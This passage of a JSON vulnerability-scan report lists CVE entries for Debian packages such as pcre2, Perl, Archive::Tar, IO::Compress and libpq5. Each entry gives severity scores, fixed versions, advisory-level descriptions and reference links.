"https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://github.com/PCRE2Project/pcre2/security/advisories/GHSA-q8g2-wprr-34m9", "https://linux.oracle.com/cve/CVE-2026-89157.html", "https://linux.oracle.com/errata/ELSA-2026-81613.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89157", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89157" ], "PublishedDate": "2026-09-11T04:18:03.753Z", "LastModifiedDate": "2026-09-16T19:25:08.88Z" }, { "VulnerabilityID": "CVE-2026-89161", "PkgID": "libpcre2-8-0@10.46-1~deb13u1", "PkgName": "libpcre2-8-0", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpcre2-8-0@10.46-1~deb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "aa7e3a6ab471d889" }, "InstalledVersion": "10.46-1~deb13u1", "FixedVersion": "10.46-1~deb13u2", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-89161", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9f5503f6c637db9fbf25bfb8e4fa3811b28141e4ee6b721291204125d83bd430", "Title": "pcre2: PCRE2: Memory corruption vulnerability in pcre2_jit_match", "Description": "In PCRE2 before 10.48, pcre2_jit_match mishandles a previously copied subject being passed in as a context. An incorrect free operation can occur.", "Severity": "HIGH", "CweIDs": [ "CWE-590" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.4 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:81532", "https://access.redhat.com/security/cve/CVE-2026-89161", "https://bugzilla.redhat.com/2528993", "https://bugzilla.redhat.com/2531743", "https://bugzilla.redhat.com/2531744", "https://bugzilla.redhat.com/2531745", "https://bugzilla.redhat.com/2531746", "https://bugzilla.redhat.com/2531747", "https://bugzilla.redhat.com/2543797", "https://bugzilla.redhat.com/show_bug.cgi?id=2528993", "https://bugzilla.redhat.com/show_bug.cgi?id=2531743", "https://bugzilla.redhat.com/show_bug.cgi?id=2531744", "https://bugzilla.redhat.com/show_bug.cgi?id=2531745", "https://bugzilla.redhat.com/show_bug.cgi?id=2531746", "https://bugzilla.redhat.com/show_bug.cgi?id=2531747", "https://bugzilla.redhat.com/show_bug.cgi?id=2543797", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-103111", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-86145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89156", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89157", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89158", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89160", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89161", "https://errata.almalinux.org/9/ALSA-2026-81532.html", "https://errata.rockylinux.org/RLSA-2026:81532", "https://github.com/PCRE2Project/pcre2/commit/1dcd0cf42a6a7cb62cc9a7c024196733abcfda95%20%28pcre2-10.48-RC1%29", "https://github.com/PCRE2Project/pcre2/pull/937", "https://github.com/PCRE2Project/pcre2/releases/tag/pcre2-10.48", "https://linux.oracle.com/cve/CVE-2026-89161.html", "https://linux.oracle.com/errata/ELSA-2026-84799.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-89161", "https://ubuntu.com/security/notices/USN-8974-1", "https://www.cve.org/CVERecord?id=CVE-2026-89161" ], "PublishedDate": "2026-09-11T04:18:04.47Z", "LastModifiedDate": "2026-09-16T19:10:47.78Z" }, { "VulnerabilityID": "CVE-2026-13221", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5b07863c5027012a23c6a6e91fc75609450033c2511d04427b020d4dcd3e26f7", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:899d4b5953e9cdefd18ff5acda7c79f1a90a14337cf3d63c95b865237764819a", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:43bb733b27801f721fe0304614b196bb1f29781c933d5144a04a0924812a97a1", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b715f45b9c11edc396134920a4992509d0f07496601b47d887e6918c2b640da3", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bb714ab782ab64cd290fcd9c72e955d87bf5c45664e2d5b91f4031974b8f4084", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9abbec1ebc1a1595a6f11559b9fcc857b43194e57ddfcdf514fa05cd8c6d4abd", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "FixedVersion": "5.40.1-6+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9b7bf87c5b466f3c610b0a3909dc629f14dd4947cf73759a65148625e8795854", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "libperl5.40@5.40.1-6", "PkgName": "libperl5.40", "PkgIdentifier": { "PURL": "pkg:deb/debian/libperl5.40@5.40.1-6?arch=amd64\u0026distro=debian-13.6", "UID": "921c03a92445e6ec" }, "InstalledVersion": "5.40.1-6", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:140597c290cc4f5e4c3e0ea55e0efb7f1bc7458470d651b69d4736a4d0643d87", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-14662", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "libpq5@17.10-0+deb13u1", "PkgName": "libpq5", "PkgIdentifier": { "PURL": "pkg:deb/debian/libpq5@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "5d540f9515709c67" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14662", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:93c28d2d38a88c14f4ae950b361e84964ea37e2f60909d0691e6882ce5927390", "Title": "postgresql: PostgreSQL: Arbitrary code execution via integer wraparound in tsvector and tsquery functions", "Description": "Integer wraparound in PostgreSQL tsvector and tsquery data type functions allows an unprivileged database user to cause the server to undersize an allocation and write out-of-bounds, via crafted large inputs. This may execute arbitrary code as the operating system user running the database. These types are typically sourced from application logic, not taken from the application's user. Hence, application users attacking the database, through the application as a conduit, are unlikely. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14662", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", 